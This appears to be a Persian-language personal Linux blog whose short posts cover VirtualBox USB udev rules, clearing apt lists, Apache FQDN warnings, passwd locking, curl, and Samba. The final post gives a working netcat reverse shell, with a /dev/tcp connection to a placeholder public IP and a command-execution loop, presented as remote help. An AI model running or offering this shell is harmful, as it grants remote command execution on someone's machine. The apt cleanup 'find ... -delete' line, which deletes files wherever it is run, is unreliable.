فیلتر ابلهانه

می‌دونستید نشانی:
http://ftp.debian.org/debian/pool/main/f/freexl/libfreexl1_1.0.2-2_amd64.deb
هم فیلتره؟
فقط به خاطر بسته freexl

در مورد FreeXL:
FreeXL is an open source library to extract valid data from within an Excel (.xls) spreadsheet.

شناخته نشدن USB Deviceها در VirtualBox

بعد از نصب یکی از آپدیت‌های VirtualBox به مشکلی برخوردم که مدت‌ها درگیرش بودم تا اخیرا وقت گذاشتم و ریشه مشکل را پیدا و حل کردم.
گفتم راه‌حل را اینجا بنویسم شاید بعدا هم برای یادآوری خودم مفید باشه و هم برای شاید به کسی کمک بشه.

من قبل‌تر برای تست رفته بودم و phpvirtualbox نصب کرده بودم ولی تنظیم‌هاش توی /etc/defaults/virtualbox/ مونده بود. همین باعث شده بود که root نصب تغییر کنه و ابزارهای شناسایی درگاه USB به جای نادرستی اشاره کنند.
این ابزار به صورت پیش‌فرض توی /usr/lib/virtualbox/ قرار دارند و فراخوانی‌شون با استفاده از udev و فایل‌های تنظیمی است که در مسیر /etc/udev/rules.d/60-vboxdrv.rules/ قرارداره فراخوانی می‌شه.

این اولین نکته بود. حتما مطمئن بشید که مسیر ابزارها که در این فایل استفاده شده درست باشه و فایل‌ها موجود باشند. به دلیلی که نمی‌دونم چیه اگه مسیر استاندارد نباشه این ابزارها نه در مسیر جدید و نه در مسیر استاندارد ایجاد نمی‌شوند.

فایل تنظیم درست udev برای virtualbox هم به صورت زیر است:

KERNEL=="vboxdrv", NAME="vboxdrv", OWNER="root", GROUP="root", MODE="0600"
KERNEL=="vboxdrvu", NAME="vboxdrvu", OWNER="root", GROUP="root", MODE="0666"
KERNEL=="vboxnetctl", NAME="vboxnetctl", OWNER="root", GROUP="root", MODE="0600"
SUBSYSTEM=="usb_device", ACTION=="add", RUN+="/usr/lib/virtualbox/VBoxCreateUSBNode.sh $major $minor $attr{bDeviceClass}"
SUBSYSTEM=="usb", ACTION=="add", ENV{DEVTYPE}=="usb_device", RUN+="/usr/lib/virtualbox/VBoxCreateUSBNode.sh $major $minor $attr{bDeviceClass}"
SUBSYSTEM=="usb_device", ACTION=="remove", RUN+="/usr/lib/virtualbox/VBoxCreateUSBNode.sh --remove $major $minor"
SUBSYSTEM=="usb", ACTION=="remove", ENV{DEVTYPE}=="usb_device", RUN+="/usr/lib/virtualbox/VBoxCreateUSBNode.sh --remove $major $minor"

اگه این فایل را پاک کنید و Virtual Box را مجدد نصب کنید این فایل ساخته می‌شه. (پیشنهاد من اینه که اول کامل پاک کنید و بعد مجدد نصب کنید)

البته فراموش نشه قبل از هر کاری کاربر شما به گروه vboxusers اضافه شده باشه. بدون اضافه شدن شما به این گروه امکان استفاده از usb در ماشین‌های مجازی را ندارید! همینطور Oracle VM VirtualBox Extension Pack را هم حتما نصب کنید 🙂

با apt-get خراب چه کنیم؟

امروز با مشکل عجیبی برخورد کردم.
اومدم بسته ntp را نصب کنم که پیام داد به دلیل یه Dependency امکانش نیست. تعجب کردم. گفتم لابد سری قبل توی update، یکی از مخازن دانلود نشده یا خراب شده. پس رفتم سراغ apt-get update.
با اجرای دستور apt-get update ماجرا عجیب‌تر شد. تعدادی خطای Not found 404 برای بخشی از مخازن اصلی Debian روبرو شدم.
بررسی فایل sources.list و تغییر آن‌ها هم تغییری در نتیجه ایجاد نمی‌کرد.

تنظیمات ترتیب انتخاب نوع فشرده‌سازی فایل‌های Package هم راه بجایی نبرد.

دیگه داشتم ناامید می‌شدم که به خودم گفتم این که دیگه کار نمی‌کنه برم اساسی هرچی از این پکیج‌ها توی سیستم Cache شده را پاک کنم فوق فوقش لازم شد از یکی دیگه از سیستم‌ها فایل‌ها را بر می‌دارم.

اگه نمی‌دونید بدونید که فایل‌های package توی دبیان/ابونتو در مسیر /var/lib/apt/lists/ ذخیره می‌شوند و کنار کش فایل‌های deb نیستند.

بعد با دستور

find -type f ! -name lock -delete 

همه فایل‌های پکیج مونده توی سیستم پاک کردم.

بعد دستور apt-get update را اجرا کردم. به سادگی بدون مشکل اجرا شد و مشکل حل!

شاید بد نباشه هرازگاهی (بخصوص بعد از آپدگرید نسخه مثلا از Wheezy به Jessie یا تغییر mirror مورد استفاده) این پاکسازی را انجام بدین. پیش اومده که این فایل را که پاک کردم و دوباره apt-update زدم یه تعدادی فایل که از قبل مونده بوده و آپدیت نمی‌شده به لیست آپدیت‌ها اضافه شده.

مشکل شناخت نام هاست در آپاچی

کسایی که وب‌کارند و کد وب می‌زننند زیاد پیش میاد که روی سیستم لوکال‌شون آپاچی، این وب سرویس محبوب را نصب کنند تا کارهاشون را بتونند تست کنند. خیلی وقت‌ها میشه که بعد از نصب آپاچی و موقع شروع به کار اون این پیام را می‌بینیم:apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1 for ServerName.
دلیلش چیه؟ دلیلش اینه که تنظیمات FDQN سیستم‌تون درست نیست و سیستم نمی‌تونه FDQN سیستم را اتوماتیک شناسایی کنه.

راه حلش چیه؟
۱. توی تنظیمات آپاچی بگین اسم کامل سرور Default چیه.
۲. تنظیمات FDQNت را درست کنید. در ساده‌ترین حالت برین توی فایل etc/hosts/ و جلوی 127.0.0.1 اسم کامل هاست‌تون (شامل اسم هاست و نام دامنه مثلا sadeq.localdomain) را اضافه کنید. دقت کنید که اسم کامل هاست حتما باید اولین اسم بعد از IP باشه!

مشکل‌های مشابه برای چه ابزارهای دیگه‌ای ممکنه رخ بده؟ Exim که به عنوان MTA پیشفرض در Debian استفاده می‌شه هم ممکنه همین مشکل را داشته باشه و موقع شروع به کار پیام بده که نمی‌تونه FDQN سیستم را شناسایی کنه. روش ۲م این مشکل را هم حل می‌کنه.

پی‌نوشت: FDQN چیه؟ FDQN مخفف Fully Qualified Domain Name است و بعضی وقت‌ها به عنوان نام مطلق هم بهش گفته می‌شه. این اسم نام هاست را به صورت یکتا در سلسه مراتب DNS سرورها مشخص می‌کنه (در اینترنت یا اینترانت). این نام از یه اسم هاست و یه دامنه تشکیل شده. (اسم دامنه می‌تونه تک بخشی مثلا localdomain یا چند بخشی مثلا sadeq.ir باشه)

استخدام برنامه‌نویس php

شرکت ما به دنبال استخدام چند تا برنامه‌نویس php است. متن آگهی استخدام اینه:

شرکت درخشان صنعت ( www.dsi.ir ) برنامه‌نویس php استخدام می‌کند
مهارت‌های لازم:
* تسلط کامل به PHP و آشنایی با مبانی شی‌گرایی
* آشنایی با بانک اطلاعات MySQL

شرایط کاری:
* ساعت کار ۸:۰۰ لغایت ۱۷:۳۰، شنبه تا چهارشنبه
* محیط کاری چالشی

نشانی محل کار در غرب تهران است.

در صورت تمایل اطلاعات خود را به همراه رزومه در فرم http://job.ebtekar.info وارد و ارسال نمایید

این موقعیت شغلی برای کسانی که از لینوکس خوششون میاد می‌تونه جذاب باشه. ما در قسمت نرم‌افزار شرکت روی یه وب‌اپلیکیشن کار می‌کنیم که بازار هدفش مشتریان متوسط و بزرگ (مثل بانک‌ها) هستند.

تا یادم نرفته این را هم بگم که اهل php نیستید ولی توانایی خاصی تو تولید نرم‌افزار (غیر از php) دارین حتما کامنت بزارین یا تماس بگیرید.

فعال و غیرفعال کردن کاربر در لینوکس

در صورتی که نیاز دارید دسترسی یک کاربر خاص به لینوکس را غیرفعال کنید کافی‌است دستور زیر را اجرا کنید:

passwd USERNAME -l

و برای فعال کردن مجدد کاربر می‌توانید دستور زیر را استفاده کنید:

passwd USERNAME -u

این دستور یک ! به ابتدای کلمه عبور کاربر مورد نظر در فایل /etc/shadow اضافه می‌‌کند یا آن را حذف می‌کند.

در صورتی که بخواهید این کار به صورت خودکار و در زمان‌های خاص انجام شود می‌توانید از crontab‌ یا at‌ استفاده کنید. crontab برای کارهای تکراری و at برای انجام کار در تاریخ/زمان مشخص!
به همین سادگی به همین خوشمزگی!

و تو چه دانی که cURL‌ چیست؟

گنو/لینوکس مجموعه‌ای از ابزارهای خیلی کوچولو اما بسیار پرقدرت است. این ابزارها به سادگی با هم ترکیب می‌شوند و نتیجه‌اش این میشه که کارهای خیلی پیچیده را می‌شه به سادگی انجام داد.
یکی از این ابزاهای خیلی خوب curl‌ است. در معرفی curl آمده: ابزاری است برای ارسال داده «از» یا «به» سرور با پروتکل‌هایی که پشتیبانی میکنه (مثلا http, https, ftp, telnet‌ و …) این ابزار به نحوی طراحی شده است که بدون نیاز به ارتباط با کاربر وظیفه‌ش را انجام بده.

یک مثال:
سایتی به نام identi.ca که یک پیاده‌سازی از ابزار StatusNet برای Microbloggin (مشابه توییتر) است به شما این اجازه را می‌ده که با استفاده از API پست خودتون را ارسال/دریافت کنید.
روش ارسال به این نحو است که باید محتوی توییت خودتون را به نشانی http://identi.ca/api/statuses/update.xml پست کنید. البته شناسه کاربری و کلمه عبور باید از طریق http authentication به سرور اعلام کنید.
برای این کار یک دستور curl کافیه:

curl http://identi.ca/api/statuses/update.xml  -u USERNAME:PASSWORD -d "status=This is a test Dent from Shell" 

به همین سادگی.
اگه دوست داشته باشید می‌تونید مثلا این دستور را با یه دستور دیگه قاطی کنید که نتیجه اون دستور را dent کنه. مثلا من یه اعلام ساعت با استفاده از دستور date درست کردم که با استفاده از cron سر هر ساعت گذشت زمان را به من یادآوری می‌کنه:

curl http://identi.ca/api/statuses/update.xml  -u USERNAME:PASSWORD -d "status=Now: `date +\"%Y-%m-%d %H:%M\"`"

خوبه نه؟

درختواره در لینوکس

کسایی که از سیستم عامل DOS استفاده کردن می‌دونند که یه دستور داشت به نام tree. کار این دستور این بود که لیست فایل‌ها و فولدرها را به صورت درختی نمایش می داد. توی لینوکس برای درست کردن اینجور چیزی دو راه وجود داره:
۱. استفاده از این دستور:

find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'

خروجی دستور شبیه‌سازی tree
یک خط دستور برای ایجاد خروجی شبیه به خروجی دستور tree در dos

۲. نصب بسته tree برای نصب بسته tree در توزیع‌های debian base‌ مثل ubuntu می‌توانید از این دستور استفاده کنید:

apt-get install tree

خروجی دستور tree در ubuntu

هر دوش به خوبی کار می‌کنه. اما من دومی را به دلیل داشتن کلی امکانات اضافی (مثلا نمایش رنگی، نمایش حجم فایل‌ها و …) ترجیح می‌دم

مشکل ویندوز و samba

وقتی سرور samba داشته باشی و کلاینت‌ها توی ویندوز باشند یه مشکلی پیش میاد گاهی! اگه یه کاربر با نام کاربریش وارد بشه نمی‌شه با کاربر دیگه‌ای که به منابع دیگه دسترسی داره وارد بشه. البته این مشکل فقط توی محیط گرافیکی ویندوز وجود داره.

راه حل استفاده از دستور net use است در ویندوز

مثلا من با کاربر sadeq به سرور وارد می‌شم. به همین دلیل به فایل‌های خانگی خودم که توی فولدر \\server\sadeq است دسترسی دارم. بعد یه کاری پیش میاد یکی از دوستان که از نام کاربری elec استفاده می‌کنه می‌خواهد از روی کامپیوتر من یه فایل روی سرور بریزه. وقتی می‌زنه \\server\elec پیام خطا میگیره که دسترسی نداره.
راه حل مشکل اینه که این دستور اجرا بشه:

net use \\server\elec *

با این دستور، رمز کاربر مالک elec پرسیده می‌شه و اگه درست باشه اتصال به سرور برای این منبع ایجاد می‌شه و من می‌تونم با زدن نشونی \\server\elec به فایل‌های کاربر elec دسترسی پیدا کنم.

شل برعکسی! فقط برای لینوکسی‌ها!

بعضی وقت‌ها نیاز میشه که به شل یه لینوکس از راه دور دسترسی پیدا کنید. اما این شل پشت یه فایروالی، natـی، چیزی است که در عمل به شما اجازه دسترسی نمیده.

برای رفع مشکل از یه روشی میشه استفاده کرد به اسم reverse shell!

یه سری ابزار برای اینکار وجود داره اما یه راه سریع هم هست! یه دستور داریم به نام nc که خیلی مفیده! با این دستور می‌تونید یه پورت روی کامپیوتر خودتون باز کنید و هر کی بهش وصل میشه را مشاهده کنید. بعد هر چی شما بگین ارسال بشه برای اون و هرچی هم اون میفرسته شما روی مانیتور ببینید. البته این یه کاربرد این ابزاره که برای کار ما به درد می‌خوره:
روی کامپیوتر خودتون دستور زیر را اجرا کنید:

nc -l -p 8080 -vvv

بعد به دوستتون بگین که روی کامپیوتر خودش این دو تا دستور را اجرا کنه:

exec 5<>/dev/tcp/YOUR_PUBLIC_IP_ADDRESS/8080
cat <&5 | while read line; do $line 2>&5 >&5; done

با اجرای دستور دوم توسط دوستتون شما به یه شل ساده دسترسی پیدا می‌کنید و هر دستوری که تایپ کنید ارسال می‌شه روی کامپیوتر دوستتون و اونجا اجرا می‌شه و خروجیش هم برای شما برمیگرده!
واضح است که به جای YOUR_PUBLIC_IP_ADDRESS باید آی‌پی اینترنت کامپیوتر خودتون را بزارین. که البته باید از اینترنت قابل دسترس باشد. و البته می‌تونید در هر دو طرف ۸۰۸۰ را با یه شماره پورت دیگه عوض کنید!
به همین سادگی به همین خوشمزگی! اینه قدرت لینوکس! حالا ویندوزیا خودشون را بکشند نرم‌افزار team viewer پیدا می‌کنند! 😉
البته شعار گوگل فراموش نشه! not be evil!

پ.ن.۱: این روش را اینجا خوندم
پ.ن.۲: nc در معرفی خودش می‌گه:

nc: TCP/IP swiss army knife

معنی اون هم که واضحه نه؟